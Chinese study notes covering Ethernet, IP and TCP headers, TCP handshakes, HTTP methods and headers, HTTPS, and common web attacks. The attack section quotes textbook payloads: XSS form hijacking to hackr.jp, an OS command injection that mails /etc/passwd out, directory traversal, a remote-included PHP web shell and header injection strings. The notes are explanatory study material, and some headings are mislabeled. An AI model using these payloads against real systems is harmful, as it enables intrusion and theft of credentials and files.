TCP/IP

以太网帧

两种格式

Ethernet_II
D.MAC		S.MAC 		Type				Data	FCS
IEEE802.3
D.MAC  		S.MAC 	Length  LLC	SNAP		Data 	FCS

Length/Type >= 1536 (0x0600) Ethernet_II
Length/Type <= 1500 (0x05DC) IEEE802.3

Ethernet_II

类型值大于等于1536 (0x0600)。

Type	0x0800	TCP
		0x0806	ARP

mac地址

前24位
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)

MAC单播地址的第7位是U/L位,如果为0,则表示该地址是全球唯一的,如果为1则表示该地址是本地管理的。(Unique/Locate)
MAC单播地址的第8位是I/G位,如果该位为0,则表示该地址是个体地址;如果该位为1,则表示该地址是群体地址。(Individual/Group)

00:50:56和00:0c:29都被分配给Vmware公司
Ethernet II, Src: VMware_39:e2:02 (00:0c:29:39:e2:02), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

HTTP头部

一行32位 (4字节) heep头部一共20字节

在这里插入图片描述
在这里插入图片描述

1.版本(Version):该字段用于指定IP协议的版本,IPv4的版本号为4,IPv6的版本号为6。
2.头部长度(Header Length):该字段用于指定IP报文头部的长度,单位为4字节。由于IPv4头部中可能包含多个选项字段,因此头部长度可以是20字节到60字节之间的任意值。
3.服务类型(Type of Service):该字段用于指定IP报文的服务类型,包括优先级、延迟、吞吐量和可靠性等方面的要求。
4.总长度(Total Length):该字段用于指定整个IP数据报(包括头部和数据部分)的长度,单位为字节。由于该字段是16位的,因此IP数据报的最大长度为65535字节。
5.标识(Identification):该字段用于唯一标识一个IP数据报。当一个IP数据报被分片时,所有分片都具有相同的标识号。
6.标志(Flags):该字段包含3个标志位,分别为“不分片”、“更多分片”和“保留位”。其中,“不分片”表示该数据报不允许被分片,“更多分片”表示该数据报被分片后还有后续分片,“保留位”保留供以后使用。
7.分片偏移量(Fragment Offset):该字段用于指定当前分片相对于原始IP数据报的偏移量,单位为8字节。由于该字段是13位的,因此每个分片的最大长度为8*2^13=65536字节。
8.生存时间(Time to Live):该字段用于指定IP数据报在网络中可以经过的最大路由器数目,单位为跳数。每经过一个路由器,该字段的值就会减1,当该字段的值为0时,数据报将被丢弃。
9.协议(Protocol):该字段用于指定IP数据报中携带的上层协议类型,例如TCP、UDP或ICMP等。
10.头部校验和(Header Checksum):该字段用于对IP头部进行差错检测,以保证IP数据报在传输过程中不被损坏。
11.源IP地址(Source IP Address):该字段用于指定发送端的IP地址。
12.目的IP地址(Destination IP Address):该字段用于指定接收端的IP地址。

TCP

tcp头部

在这里插入图片描述
在这里插入图片描述

1. 源端口和目的端口:源端口和目的端口分别占用2个字节,用于标识发送和接收的应用程序。源端口和目的端口共同标识一个TCP连接。
2. 序号和确认号:序号和确认号各占用4个字节。序号用于标识TCP报文段中第一个字节的编号,确认号用于标识期望收到的下一个字节的编号。
3. 数据偏移:数据偏移占用4个比特,用于标识TCP首部的长度,以4字节为单位。因此,数据偏移的值为5时,表示TCP首部长度为20字节。
4. 保留Resv:保留字段占用6个比特,保留以备将来使用。
5. 标志位:标志位占用6个比特,包括URG、ACK、PSH、RST、SYN和FIN六个标志位。它们分别表示紧急数据、确认、推送、复位、同步和结束。
6. 窗口大小 windows:窗口大小占用2个字节,用于告诉对方自己的接收窗口大小,以便对方控制发送窗口的大小。
7. 校验和Checksum:校验和占用2个字节,用于检验TCP报文段是否有误。
8. 紧急指针 urgent pointer:紧急指针占用2个字节,用于标识紧急数据的末尾位置。
9. 选项:选项占用4n个字节,用于在TCP首部中增加一些可选的信息,如最大报文段长度、时间戳等。

TCP和UDP的区别

  • TCP特性:

    • 面向连接:通信前,TCP需要三次握手建立连接

    • 可靠性:状态(精确到哪些数据发送,接受)和可控制(根据自身情况调整行为,控制发送速度或重发)

    • 面向字节流:为了维护状态,IP包变为字节流

  • UDP:无状态,不可控,基于数据报

TCP三次握手

在这里插入图片描述
在这里插入图片描述

图中 a b 为各自同步号

1.客户端主动发送SYN,自身变为SYN-SENT状态,此时服务器端为listen状态
2.服务器接受,返回SYN和ACK,自身变为SYN-REVD
3.客户端再发送ACK给服务器,自身变为established状态,服务器收到ACK也变为established状态
  • 半连接队列和SYN Flood攻击的关系

    • 半连接队列:2次握手时

    • 全连接队列:3次握手完成时

  • SYN Flood攻击原理:用客户端在短时间内伪造大量不存在的IP地址,并向服务器疯狂发送SYN

    • 对服务器的危害:

      • 处理大量的SYN包并返回对应ACK,势必有大量连接处于SYN_RCVD状态,从而占满整个半连接队列,无法处理正常的请求

      • 由于是不存在的IP,服务器长时间没有收到客户端的ACK,会导致服务器不断重发数据,耗尽服务器资源

    • 如何应对

      • 1.增加SYN连接:即增加半连接队列的容量

      • 2.减少SYN+ACK重试次数,避免大量超时重发

      • 3.利用SYN Cookie技术,在服务器收到SYN后不立即分配连接资源,而是根据这个SYN计算出一个cookie,连同第一个握手回复客户端,在客户端回复ACK时带上这个cookie值,服务器验证cookie合法才分配资源

  • TCP快速打开的原理(TFO)

    • 首次三次握手:

      • 1.客户端发送SYN给服务器

      • 2.收到SYN计算SYN Cookie,将Cookie放到TCP报文的Fast Open选项中,然后返回给客户端。

      • 3.客户端拿到Cookie的值缓存,后面正常完成三次握手

    • 后面的三次握手:

      • 流程图

      • 1.客户端将缓存的Cookie、SYN和HTTP请求发送给服务器,服务器验证Cookie的合法性,不合法舍弃,合法就正常返回SYN+ACK

      • 2.重点:验证cookie合法后,就可以返回HTTP响应(三次握手没有建立)

      • 3.客户端的ACK还是要正常传

    • TFO优势

      • 优势不在首轮三次握手,而在后面的握手,拿到cookie验证后,直接返回HTTP响应,充分利用1geRTT(往返延迟)的时间提前进行数据传输
  • TCP四次挥手

    p q 为各自同步号 
    
    1.客户端发送FIN报文,客户端变为half-close(半关闭状态),无法向服务器发送报文
    2.服务器确认接受,变为closed-wait状态,向客户端发送ACK确认信息
    3.服务器向客户端发送FIN,ACK,自身进入LAST-ACK状态
    4.客户端收到FIN后,发送ACK给服务器(会等待足够长的时间),2MSL(报文最大生存时间);如果客户端没有收到服务器的重发请求,则表示ACK到达成功,否则客户端重发ACK
    
    • 等待2MSL意义

      • 1个:确保四次挥手中主动关闭方最后的ACK报文最终能达到对端

      • 1个:确保对端 收到ACK重传的 报文FIN 第四次挥手时

    • 第2,3次分开:先发一个ACK表示收到客户端的FIN, 等待服务端所有的报文都接受完毕再发送FIN; 三次挥手会造成:长时间延迟会导致客户端误以为FIN没有到达客户端,从而让客户端不断重发FIN

  • TCP报文中的时间戳的作用

    • 1.计算往返延迟RTT

    • 2.防止序列号的回绕问题(即使两个发包序列号相同,时间戳不可能相同,就可以区别两个数据包)

  • TCP超时重传时间 RTO

    • 经典方法:对RTT不敏感,

    • 标准方法:对RTT敏感

  • TCP的keep-alive

1.HTTP方法

(1)GET

​ 获取资源

GET /index/html HTTP/1.1

(2)POST

​ 传输实体主体

POST /submit.cgj HTTP/1.1
Host:
Content-Length: 1560(1560字节的数据)
响应
	返回submit.cgi接收数据的处理结果

(3)PUT

​ 传输文件

​ PUT传输文件时,类似FTP要求报文主体中包含文件内容,然后保存到请求URI指定内容

​ 但是HTTP/1.1的PUT方法自身不带验证机制,任何人都能上传文件,因此一般Web不使用

​ 若配合Web应用程序的验证机制或架构采用REST(表征状态转移)保准的同类Web网站,就可能开放PUT方方法

PUT /example.html HTTP/1.1
Host:
Content-Type:text/html
Content-Length: 1560(1560字节的数据)
响应
	204 No Content (比如: 该html 已存在于服务器上)

(4)HEAD

​ 获取报文首部

​ 和GET一样,只是HEAD不返回报文主体部分,用于确认URI的有效性及资源更新的日期时间

HEAD /index.html HTTP/1.1
Host:
响应
	返回index.html有关的响应首部

(5)DELETE

​ 删除文件

​ 与PUT相反,按请求URI删除指定的资源

DELETE /example.html HTTP/1.1
Host:
响应
	204 No Content (比如: 该html 已从服务器删除)

(6)OPTIONS

​ 询问支持的方法

​ 用来查询针对请求URI指定的资源支持的方法

OPTIONS * HTTP/1.1
Host
响应
	HTTP/1.1 200 OK
	Allow: GET, POST, HEAD, OPTIONS

(7)TRACE

​ 追踪路径

​ 让Web服务器端将之前的请求通信环回给客户端的方法

​ 发送请求前,设置首部 Max-Forwards,每经过一个服务器端将数值减1,当刚好减为0时,就停止传输,最后收到的服务端将返回200 OK的响应

​ 容易引发 XST(跨站追踪)

TRACE / HTTP1.1
Host:
Max-Forwards:2
响应
	HTTP/1.1 200 0K
	Content-Type:message/http
	Content-Length:1024
	
	TRACE/HTTP/1.1
	Host: 
	Max-Forwards:2(返回响应包含请求内容)

(8)CONNECT

​ 要求用隧道协议连接代理

​ 要求在与代理服务器通信时建立隧道,实现用隧道协议进行TCP通信,主要用SSL(安全套接层)和TLS(传输层安全)协议把通信内容加密后经网络隧道传输

​ CONNECT 代理服务器名:端口号 HTTP版本

CONNECT proxy.hackr.jp:8080 HTTP/1.1
Host
响应
	HTTP/1.1 200 OK(之后进入网络隧道)

2.HTTP字段

1.1 HTTP首部

报文首部  客户段和服务器分别处理请求和响应所需要的信息
空行(CR+LF) 
报文主体   所需的用户和资源的信息

HTTP请求报文首部:

请求行   	   方法、URI、HTTP版本
请求首部字段   HTTP首部字段
通用首部字段	 HTTP首部字段
实体首部字段	 HTTP首部字段
其他

HTTP响应报文首部:

响应行   	   HTTP版本、状态码
响应首部字段   HTTP首部字段
通用首部字段	 HTTP首部字段
实体首部字段	 HTTP首部字段
其他

HTTP首部字段类型 p97

1.HTTP通用首部字段

请求响应都会使用

(1)Cache-Control
控制缓存的行为
	Cache-Control:Private, max-age=0, no-cache
缓存请求指令(指令|参数|说明)
    no-cache 	无	强制向源服务器再次验证
    no-store	无	不缓存请求或响应的任何内容
    max-age=[秒]	必须 响应最大的Age值
	等	
缓存响应指令
    public		无		可向任意方提供响应的缓存
    private		可忽略	   仅向特定用户返回响应
    no-cache	可忽略		缓存前必须先确认其有效性
    no-store	无		不缓存请求或响应的任何内容
(2)Connection
控制不再转发给代理的首部字段
管理持久连接
Connection: 不再转发的首部字段
	GET / HTTP/1.1
	Upgrade: HTTP/1.1
	Connection:Upgrade   //删除Upgrade 后再转发
HTTP/1.1 默认 Connection:Keep-Alive   持久连接
服务器想断开时指定 Connection:Close	
(3)Date
创建报文的日期时间
HTTP/1.1 RFC1123格式
	Date:Tue,03 Jul 2012 04:40:59 GMT
之前的HTTP版本 RFC850
	Date:Tue, 03-Jul-12 04:40:59 GMT
(4)Pragma
HTTP/1.1 之前版本遗留手段,仅作为与HTTP/1.1 的向后兼容定义
(5)Trailer
会事先说明在报文主体后记录了哪些首部字段,该字段可应用在HTTP/1.1分块传输编码时
(6)Transfer-Encoding
规定了传输报文主体时采用的编码方式
HTTP/1.1的传输编码方式仅对分块传输编码有效
(7)Upgrade
用于检测HTTP协议及其他协议是否可用更高的版本进行通信
参数也可指定完全不同的协议

请求
	GET /index.htm HTTP/1.1
	Upgrade:TLS/1.0       
	Connection: Upgrade     //使用Connection,作用限制于客户端和邻接服务器
响应
	HTTP/1.1 101 Switching Protocols   状态码(101 Switching Protocols)
	Upgrade: TLs/1.0,HTTP/1.1
	Connection: Upgrade
(8)Via
追踪客户端与服务器直接的请求响应传输路径
经过代理后,会先在首部字段Via中附加该服务器的信息,然后再转发
不仅可用于追踪报文的转发,还可以避免请求回环的发生,所以必须在经过代理时附加该字段

客户端1
	GET / HTTP/1.1
代理服务器A
	GET / HTTP/1.1
	Via: 1.0 gw.hackr.jp(squid/3.1)
代理服务器B
	GET / HTTP/1.1
	Via: 1.0 gw.hackr.jp(squid/3.1)     1.0指接受请求的服务器上应用的HTTP协议版本
	1.1 al.example.com( squid/2.7)		1.1 同上
源服务器
(9)Warning
告知用户一些与缓存相关的警告
Warning:[警告码] [警告的主机:端口号] “[警告内容]” ([日期时间])
Warning:113 gw.hackr.jp:8080 "Heuristic expiration" Tue,03 Jul 2012 05:09:44 GMT

110 Responseis stale(响应已过期)
	代理返回已过期的资源
111 Revalidation failed(再验证失败)
	代理再验证资源有效性时失败(服务器无法到达等原因)
112 Disconnection operation(断开连接操作)
	代理与互联网连接被故意切断
113 Heuristic expiration(试探性过期)
	响应的使用期超过24小时(有效缓存的设定时间大于24小时的情况下)
199 Miscellaneous warning(杂项警告)
	任意的警告内容
214 Transformation applied(使用了转换)
	代理对内容编码或媒体类型等执行了某些处理时
299 Miscellaneous persistent warning(持久杂项警告)
	任意的警告内容

2.HTTP请求首部字段

用于补充请求的附加信息、客户端信息、对响应内容相关的优先级等内容。

(1)Accept
告知服务器,用户代理能够处理的媒体类型及媒体类型的相对优先级

Accept: text/plain;q=0.3,text/htm
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;g=0.8
逗号间隔   ;后接权重
文本文件
    text/html, text/plain, text/css ...
    application/xhtml+xml,application/xml ...
图片文件
	image/jpeg, image/gif, image/png ...
视频文件
	video/mpeg,video/quicktime ...
应用程序使用的二进制文件
	application/octet-stream, application/zip ...
	
q为权重  
	范围0-1 可精确到小数点后三位
	不指定时默认最大q=1.0
当服务器提供多种内容时,将会优先返回权重高的媒体类型
(2)Accept-Charset
告知服务器,用户代理支持的字符集及 字符集的相对优先顺序
Accept-Charset:iso-8859-5,unicode-1-1;g=0.8
(3)Accept-Encoding
告知服务器,用户代理支持的内容编码及内容编码的相对优先级
Accept-Encoding: gzip, deflate

gzip
compress
deflate
	组合使用zlib及deflate压缩算法生成的编码格式
identity
	不执行压缩或不会编码的默认编码格式
采用权重表示优先级
(4)Accept-Language
告知服务器,用户代理能够处理的自然语言集及然语言集的相对优先级
Accept-Language: zh-cn, zh;q=0.7,en-us,en;q=0.3

(5)Authorization
告知服务器,用户代理的认证信息(证书值)
用户ID和密码以base64方式编码后发送
(6)Expect
告知服务器,期望出现的某种特定行为
因服务器无法理解客户端的期望坐出的回应而发生错误时,会返回状态码417 Expectation Failed
(7)From
告知服务器,使用用户代理的用户的电子邮箱地址
From: info@hackr.jp
可能会因代理的不通,将电子邮箱地址记录在Uesr-Agent中
(8)Host
告知服务器,请求的资源所处的互联网主机名和端口号
必须包含
Host: www.hackr.jp
虚拟主机运行在同一个IP上,因此使用Host加以区分
若服务器未设定主机名,则直接发送一个空值
	Host:
(9)if-Match
if-xxx 条件请求,服务器接收后,只有判断指定条件为真时,才会执行请求
If-Match: "123456"
	服务器中 index.html
		实体标记(ETag)是与特定资源关联的确认值
		资源更新后ETag也会随之更新
	不匹配
		返回 412 Precondition Failed
	使用 * 指定If-Match时,服务器会忽略ETag值
(10)If-Modified-Since
告知服务器若If-Modified-Since字段值早于资源的更新时间,则希望处理改请求
在指定时间之后,请求资源未更新则返回 304 Not Modified
获取资源的更新日期时间,可通过确认首部字段Last-Modified来确认
(11)If-None-Match
与 If-Match 相反
If-None-Match 字段值与请求资源的ETag不一致时,告知服务器处理该请求
在GET或HEAD方法中使用可获取最新资源
(12)If-Range
告知服务器若If-Range字段值(ETag或时间)和请求资源的ETag或时间一致时,则作为范围请求处理
反之,返回全体资源

如果不使用 If-Range
    请求
        GET /
        If-Match: "123456"
        Range: 5001-10000
    响应 失效,让客户端重发请求
    	412 Precondition Failed
    重发请求
    	GET /
    响应
    	200 OK
    	ETag: "567890"
(13) If-Unmodified-Since
与If-modified-Since 相反
告知服务器,请求资源在字段值之后未更新,才处理请求
如果在 字段值之后更新则返回 412 Precondition Failed
(14)Max-Forwards
每次转发数值减1;数值为0则返回响应
通过TRACE或OPTIONS方法发送请求包含Max-Forwards,该字段以十进制整数指定可经过的服务器最大数目

应用场景
	使用HTTP协议通信时,可能经过代理等多台服务器
	途中如果代理服务器由于某些原因导致请求转发失败,客户端也等不到响应
针对以上问题
    当Max-Forwards字段值为0时,服务器立即返回响应
    至少可以对以那台服务器为终点的传输路径的通信情况有所把握
(15)Proxy-Authorization
接受到从代理服务器发来的认证质询时,客户端会发送此字段
Proxy-Authorization: BasicdGlwOjkpNLAGfFY5
与Authorization类似,
不同在于 
	Authorization 用于客户端与服务器之间
	Proxy-Authorization 用于客户端与代理之间
(16)Range
对于只需获取部分资源的范围请求
Range: byte=5001-10000
	获取从5001字节至10000字节的资源
	处理后返回206 Partial Content
	无法处理时返回 200 OK 返回全部资源
(17)Referer
告知服务器请求的原始资源的URI
出去安全考虑,也可以不发送
	原始资源的URI中的查询字符串可能含有ID和密码
(18)TE
告知服务器,客户端能够处理响应的传输编码方式及相对优先级
与 Accept-Encoding功能类似,但TE只用于传输编码

TE除指定传输编码之外,还可以指定伴随trailer字段分段传输编码的方式
	TE: trailers
(19)User-Agent
会将创建请求的浏览器和用户代理名称等信息传达给服务器
User-Agent:Mozilla/5.0 (Windows NT 61;WOw64;rv:13.0) Gecko/=20100101 Firefox/13.0.1

3.HTTP响应首部字段

由服务器向客户端返回响应报文中所使用的字段

(1)Accept-Ranges
告知客户端,服务器是否能正常处理范围请求
Accept-Ranges: bytes
Accept-Ranges: none   不能处理时
(2)Age ?
告知客户端,源服务器在多久前创建了响应,单位秒
Age: 600
?若创建该响应的服务器是缓存服务器,Age值是指缓存后的响应再次发起认证到认证完成的时间值。代理创建响应时必须加上首部字段 Age。
(3)ETag
告知客户端实体标记
它是一种可将资源以字符串形式做唯一性标识的方式
服务器会为每份资源分配对应的ETag值
资源更新时,ETag值也需要更新
生成ETag值时,没有统一的算法规则,而仅仅是由服务器来分配

强ETag 和弱ETag
	强ETag,不论实体发生了多么细微的变化都会改变其值
	弱ETag,只用于提示资源是否相同,只有资源发生了根本变化,产生差异才会改波ETag值,这时会附加W/
		ETag:W/"usagi-1234"
(4)Location
将响应接受方引导至某个与请求URI位置不同的资源
Location:http://www.usagidesign.jp/sample.html
配合 3xx: Redirection的响应,提供重定向的URI
几乎所有浏览器在接受到包含首部字段Location的响应后,都会强制性的尝试对已提示的重定向资源的访问
(5)Proxy-Authenticate
把由代理服务器所要求的认证信息发送给客户端
Proxy-Authenticate: Basic realm="Usagidesign Auth"
(6)Retry-Afer
告知客户端应该多久后再次发送请求
主要配合503 Service Unavailable或 3xx Redirect 一起使用
Retry-After: 120    (秒数)
Retry-After: 具体日期等格式
(7)Server
告知客户端,当前服务器上安装的HTTP服务器应用程序信息
	 还可能包括版本号,安装时启用的可选项
Server: Apache/2.2.6(Unix) PHP/5.2.5
(8)Vary
可对缓存进行控制;源服务器会向代理服务器传达关于本地缓存使用方法的命令
(9)WWW-Authenticate
用户HTTP访问认证
WWW-Authenticate: Basic realm="Usagidesign Auth"
状态码401 Unauthorized 中必带有此字段

4.实体首部字段

实体首部字段是包含在请求报文和响应报文中的实体部分所使用的首部

用于补充内容的更新时间等与实体相关的信息。

(1)Allow
通知客户端能够支持的Request-URI指定资源的所有HTTP方法
Allow: GET, HEAD
服务器收到不支持时
	返回405 Method Not Allow,还会把支持的HTTP方法写入Allow后
(2)Content-Encoding
告知客户端,服务器对实体的主体部分选用的内容编码方式
	内容编码:指在不丢失实体信息的前提下所进行的压缩
Content-Encoding: gzip
主要采用以下四种
	gzip
	compress
	deflate
	identity
(3)Content-Language
告知客户端,实体主体使用的自然语言(指中文或英文等)
Content-Language: zh-CN
(4)Content-Length
表面实体主体部分的大小(单位字节)
Content-Length: 15000
对实体部分进行内容编码传输时,不能再使用Content-Length首部字段
(5)Content-Location
首部字段Content-Location给出与报文主体部分相对应的URI。
和首部字段Location不同,Content-Location 表示的是报文主体返回资源对应的URI。

Content-Location:http://www.hackr.jp/index-ja.html

比如,对于使用首部字段Accept-Language的服务器驱动型请求当返回的页面内容与实际请求的对象不同时
首部字段 Content-Location内会写明URI。
(访问http://www.hackrjp/返回的对象却是http://wwwhackrjp/index-ja.html等类似情况)
(6)Content-MD5
是一串由MDS算法生成的值,其目的在于检查报文主体在传输过程中是否保持完整,以及确认传输到达。
报文主体-> MD5算法 -> Base64编码
(7)Content-Range
针对范围请求,返回响应时使用的首部字段Content-Range,能告知客户端作为响应返回的实体的哪个部分符合范围请求。字段值以字节为单位,表示当前发送部分及整个实体大小
Content-Range:bytes 5001-10000/10000
(8)Content-Type
Content-Type: text/html; charset=UTF-8
首部字段Content-Type说明了实体主体内对象的媒体类型。
和首部字段Accept一样,字段值用type/subtype 形式赋值。
参数charset 使用iso-8859-1或euc-jp 等字符集进行赋值
(9)Expires
将资源失效的日期告知客户端
当缓存服务器接受到含有Expires的响应后,会以缓存来应答请求,
在Expires值之前,响应副本会一直被保存,超过指定之间后,缓存服务器在请求发送过来时,会转向源服务器请求资源

源服务器不希望缓存服务器对资源缓存时,
	Expires写入与Date相同的值
	
当首部字段Cache-Control有指定max-age时,比起Expires,会优先处理max-age
(10)Last-Modified
指明资源最终修改的时间

5.为Cookie服务的首部字段

(1)Set-Cookie
字段属性
NAME=VALUE
	赋予Cookie的名称和其值(必需项)
expires=DATE
	Cookie的有效期(若不明确指定则默认为浏览器关闭前为止)
path=PATH
	将服务器上的文件目录作为Cookie的适用对象(若不指定则默认为文档所在的文件目录)
domain=域名
	作为Cookie适用对象的域名(若不指定则默认为创建Cookie的服务器的域名)
Secure
	仅在HTTPS安全通信时才会发送Cookie
HttpOnly
	加以限制,使Cookie不能被JavaScript脚本访问	
(2)Cookie
首部字段Cookie会告知服务器,当客户端想获得HTTP状态管理支持时,就会在请求中包含从服务器接收到的 Cookie。接收到多个Cookie 时,同样可以以多个 Cookie 形式发送。
Cookie: status=enable

HttpOnly

End-to-end(端到端)首部和Hop-by-hop(逐跳)首部

端到端首部
	会转发给请求/响应的最终目标,
	且必须保存在由缓存生成的响应中,
	另外规定必须被转发
逐跳首部
	只对单次转发有效
	会因通过缓存或代理而不再转发
	HTTP/1.1和之后的版本,使用需提供Connection首部字段
	Connection
	Keep——alive
	Proxy-Authenticate
	Proxy-Authorization
	Trailer
	TE			传输编码优先级
	Transfer-Encoding
	Upgrade

6.同安全相关的头部字段

用于强化安全性的HTTP首部,多以"x-"开头

(1)X-Contet-Type-Options
用于防止浏览器将JSON数据按非JSON类型来即使
X-Contet-Type-Options : nosniff
(2)X-XSS-Protection
浏览器可有效地检测和防御XSS攻击
X-XSS-Protection : 1; mode=block
如果浏览器打开了该功能,那么一旦请求消息里出现可能引发XSS攻击的模式,并且被原封不动地嵌入在了响应消息里,最终就会被阻止
IE8以后的版本和Chrome,Safari都实现了该功能。其中Chrome,Safari中无法禁用,而IE里则可以通过设置来禁用,即浏览器可以通过发送该首部来覆盖原先的设置
(3)X-Frame-Options
控制某个指定的页面是否允许在FRAME(frame和IFRAME元素)里读取数据
阻止在FRAME内部读取当前数据
	X-Frame-Options : deny

IE8以后的版本,以及Chrome,Safari,Firefox等主流浏览器都支持该功能。

(4)Contet-Security-Policy
指定所读取的HTML内的IMG元素,SCRIPT元素,LINK元素等指向的目标资源的范围

3.HTTPS

3.1HTTPS安全通信机制

1.客户端  发送Client Hello报文开始SSL通信
	包含客户端支持的SSL的指定版本、加密组件(Cipher Suite)列表(所使用的加密算法及密钥长度)
2.Pre-master secret  响应Server Hello报文
	同 1 中包含内容一样
	加密组件内容从接收到的客户端中选择
3.服务器  发送Certificate报文
	包含公钥证书
4.服务器  发送Server Hello Done通知客户端
	最初阶段的SSL握手协商部分结束
5.客户端  响应 Client Key Exchange 报文
	包含通信加密中使用的一种被称为 Pre-master secret的随机密码串,并使用3中的公钥加密
6.客户端 发送 Change Cipher Spec报文
	该报文提示服务器,之后的通信采用Pre-master secret 密钥加密
7.客户端 发送 Finished 报文
	包含连接至今全部报文的整体校验值
	这次握手协商是否成功,要以服务器是否能够正确解密该报文作为判定标准
8.服务器 同样发送 Change Cipher Spec报文
9.服务器 同样发送 Finished 报文
10.客户端 发送HTTP请求
	服务器与客户端Finished报文交换完毕过后,SSL连接建立成功,通信被SSL保护
11.服务器 响应HTTP请求
12.客户端断开时,发送close notify

`SSL协议:

SSL协议分为两个层面的协议
SSL记录协议
	建立在可靠的传输协议之上(如TCP),为高层协议提供数据封装、压缩、加密等功能
SSL握手协议
	建立在SSL记录协议之上,用于数据传输开始前,通讯双方进行身份认证、协商加密算法、交换加密密钥等
	

4.Web的攻击技术

1.web应用的攻击模式

主动攻击
攻击者通过直接访问Web应用,把攻击代码传入的攻击模式
攻击者需要能访问到这些资源
代表性的攻击	
	sql注入
	os注入
被动攻击
利用圈套策略执行攻击代码的攻击模式
攻击者不对目标Web应用发起攻击
通常攻击步骤如下:
	(1)攻击者在网页或邮件中设置陷阱
	(2)用户浏览触发陷阱
	(3)用户浏览器运行攻击代码
	(4)执行完攻击代码,窃取用户Cookie、用户权限滥用等

2.因输出值转义不完全引发的安全漏洞

实施Web应用安全对策大致分为:

客户端的验证
服务器端的验证
	输入值验证 从浏览器的输入
		检查是否符合系统业务逻辑的数值或者检查字符编码等
	输出值转义 输出到Web页面、访问文件、DB
    	当转义不完全时,会触发攻击者传入的攻击代码
(1)跨站脚本攻击

​ 是通过 用户浏览器运行非法HTML或JS 进行的一种攻击

​ 可能造成的影响

利用虚假表单骗取用户个人信息
利用js窃取用户Cookie,发送恶意请求
显示伪造的文章或图片
input框内 输入<s> 跨站脚本攻击 <s>  
确认页面按原样显示输入的字符串,经浏览器解析显示删除线

跨站脚本攻击属于被动攻击
http://example.jp/login?ID=yama
窃取用户信息
http://example.jp/login?ID="><script>var f=document.getBlementById('login');f.action='http://hackr.jp/pwget';f.method='get';</script><span s="

窃取cookie
document.cookie
(2)SQL注入攻击

可能造成的影响

非法查看或篡改数据库内的数据
规避认证
执行和数据库服务器业务关联的程序
SELECT * FROM bookTbl WHERE author = '上野宣' and flag=1
SELECT * FROM bookTbl WHERE author = '上野宣'-- and flag=1  
	and flag=1 会被注释
(3)OS命令注入攻击

指通过Web应用,执行非法的操作系统命令

my $adr= $q->param('mailaddress');
	$adr 浏览器输入邮箱地址
open(MAIL, "| /usr/sbin/sendmail $adr")
	open函数调用sendmail发送邮件到 $adr

如果把 $adr 输入 ; cat /etc/passwd | mail hack@example.jp
此时服务器执行 | /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
	服务器依次执行
		/usr/sbin/sendmail
		cat /etc/passwd | mail hack@example.jp
(4)HTTP首部注入攻击

指攻击者通过在响应首部字段内插入换行,添加任意首部或主体

向首部主体添加内容称为 HTTP响应截断攻击

可能造成的影响

设置任意Cookie信息
重定向至任意URL
显示任意主体
Location:http://example.com/?cat=101
	101为id
攻击者 把id替换为 101%0D%0ASet-Cookie: SID=123456789
	%0D%0A 代表报文中换行符
此时响应的报文
	Location:http://examplecom/?cat=101(号0DOA:换行符)
	Set-Cookie: SID=123456789
	修改了Cookie信息

HTTP响应截断

%0D%0A%0D%0A  使用两个换行符
制作出HTTP首部与主体分割所需的空行
	显示伪造的页面,再让用户输入自己的个人信息,可达到和跨站脚本攻击相同的效果
(5)邮件首部注入

指 Web应用中的邮件发送功能,攻击者通过向邮件首部To或Subject 内任意添加非法内容

bob@hackr.jp%0D%0ABcc:user@example.com
	%0D%0A 在邮件报文中代表换行符
bob@hackr.jp%0D%0A%0D%OATest Messaqe
	%0D%0A%0D%OA 两个换行符,篡改内容
(6)目录遍历攻击

指对本无意公开的文件目录,通过非法截断其目录路径后达成访问

http://example.com/read.php?log=0401.log
	指定0401.log 访问 /www/log/0401.log文件
http://example.com/read.php?log=../../etc/passwd
	通过相对路径访问到/etc/passwd
(7)远程文件包含漏洞

指部分脚本内容要从其他文件读取,攻击者指定恶意文件URL,在脚本读取后运行恶意文件

主要是PHP存在的安全漏洞

​ include、require

​ php5.2.0 之后默认关闭

攻击者准备恶意文件 http://hackr.jp/cmd.php
	<? system($_GET["cmd"])?>

存在漏洞的脚本文件 http://example.com/foo.php
	$modname = $_GET['mod'];
	include($modname);
正常请求 http://example.com/foo.php?mod=news.php     正常php脚本文件
攻击请求 http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
	执行ls命令

3.因设置或设计上的缺陷引发的安全漏洞

(1)强制浏览

​ 指从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件

​ 可能造成的影响

泄露客户的个人信息等重要情报
泄露原本需要具有访问权限的用户才可查阅的信息
泄露未外连到外界的文件
(2)不正确的错误消息处理
We应用抛出的错误消息
数据库等系统抛出的错误消息
	PHP、JSP等脚本错误
	数据库或中间件错误
	Web服务器的错误
(3)开放重定向

指对指定的任意URL做重定向跳转功能

假设指定重定向URL到某个具有恶意的Web网站,那么用户就会被诱导至那个Web网站

http://example.com/?redirect=http://www/tricorder.jp
http://example.com/?redirect=http:hackr.jp	

可信度高的Web网站如果开放重定向功能,则很有可能被攻击者选中来作为钓鱼攻击的跳板

(4)因会话管理疏忽引发的安全漏洞

会话劫持

	指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的
可获得会话ID的途径
	通过非正规的生成方法推测会话ID
	通过窃听或XSS攻击盗取会话ID
	通过会话固定攻击(Session Fixation)强行获取会话ID

会话劫持案例

	攻击者在得知该Web网站存在可跨站攻击(XSS)的安全漏洞后,就设置好用JavaScript脚本调用document.cookie以窃取Cookie信息的陷阱,一旦用户踏入陷阱(访问了该脚本),攻击者就能获取含有会话ID的Cookie。
	攻击者拿到用户的会话ID后,往自己的浏览器的 Cookie中设置该会话ID,即可伪装成会话D遭窃的用户,访问Web 网站了。

会话固定攻击

	会强制用户使用攻击者指定的会话ID,属于被动攻击
	

会话固定攻击案例

1.攻击者访问登录页面
2.服务器会发布一个会话ID,此ID为未认证状态
3.攻击者设置好强制用户使用该会话ID的陷阱,并等待用户拿着这个会话ID去认证,一旦用户触发陷阱完成认证,会话ID在服务器上的状态就会被记录下来
4.等待用户触发陷阱认证后,攻击者利用此ID顺利登录网站

CSRF 跨站请求伪造

​ 指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击

可能造成的影响
